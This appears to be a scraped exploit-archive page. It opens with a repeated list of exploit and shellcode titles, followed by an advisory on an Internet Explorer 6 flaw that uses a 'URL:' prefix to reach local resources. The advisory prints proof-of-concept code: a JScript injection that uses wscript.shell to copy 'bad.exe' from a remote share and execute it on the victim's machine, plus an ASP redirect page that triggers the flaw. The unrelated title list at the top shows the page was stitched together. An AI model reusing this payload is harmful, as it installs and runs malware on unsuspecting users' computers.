880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
49 lines
No EOL
2.1 KiB
Text
49 lines
No EOL
2.1 KiB
Text
source: https://www.securityfocus.com/bid/10472/info
|
|
|
|
Microsoft Internet Explorer is prone to a security weakness that may permit unauthorized access to local resources on a client computer. This will effectively bypass security restrictions implemented in Internet Explorer 6 SP1. Specifically, a malicious Web page may access a file on a vulnerable client computer by pre-pending "URL:" to a request for a specific resource.
|
|
|
|
This weakness is useful when exploiting other vulnerabilities, such as vulnerabilities that allow cross-zone access.
|
|
|
|
URL:ms-its:C:\WINDOWS\Help\iexplore.chm::/iegetsrt.htm
|
|
|
|
There are reported of exploits circulating in the wild that use this and BID 10473.
|
|
|
|
A proof-of-concept has been published at the following location:
|
|
|
|
http://62.131.86.111/security/idiots/repro/installer.htm
|
|
|
|
An additional proof of concept exploit supplied by, Ferruh Mavituna, that is reported to bypass vendor fixes is available:
|
|
New shellscript.js
|
|
=====================================================
|
|
function injectIt() {
|
|
|
|
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<s
|
|
cript language="JScript" DEFER> var
|
|
rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe"; var
|
|
wF="%windir%\\\\_tmp.exe"; var o=new ActiveXObject("wscript.shell"); var
|
|
e="%comspec% /c copy "+rF+" "+wF; var
|
|
err=o.Run(e,0,true);if(err==0)o.Run(wF,0,false);</script>');
|
|
}
|
|
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
|
|
setTimeout("injectIt()", 1000);
|
|
=====================================================
|
|
|
|
Also for testing in IIS Servers; ASP equivalent of redir.jsp
|
|
|
|
redir.asp
|
|
=====================================================
|
|
<%
|
|
Response.Expires = 1
|
|
Response.Expiresabsolute = Now() - 1
|
|
Response.AddHeader "pragma","no-cache"
|
|
Response.AddHeader "cache-control","private"
|
|
Response.CacheControl = "no-cache"
|
|
For x = 1 to 500000 'Time
|
|
z = z + 10
|
|
Next
|
|
|
|
Response.Status = "302 Found"
|
|
Response.AddHeader "Content-Length", "4"
|
|
Response.AddHeader "Location","URL:res://shdoclc.dll/HTTP_501.htm"
|
|
%>
|
|
===================================================== |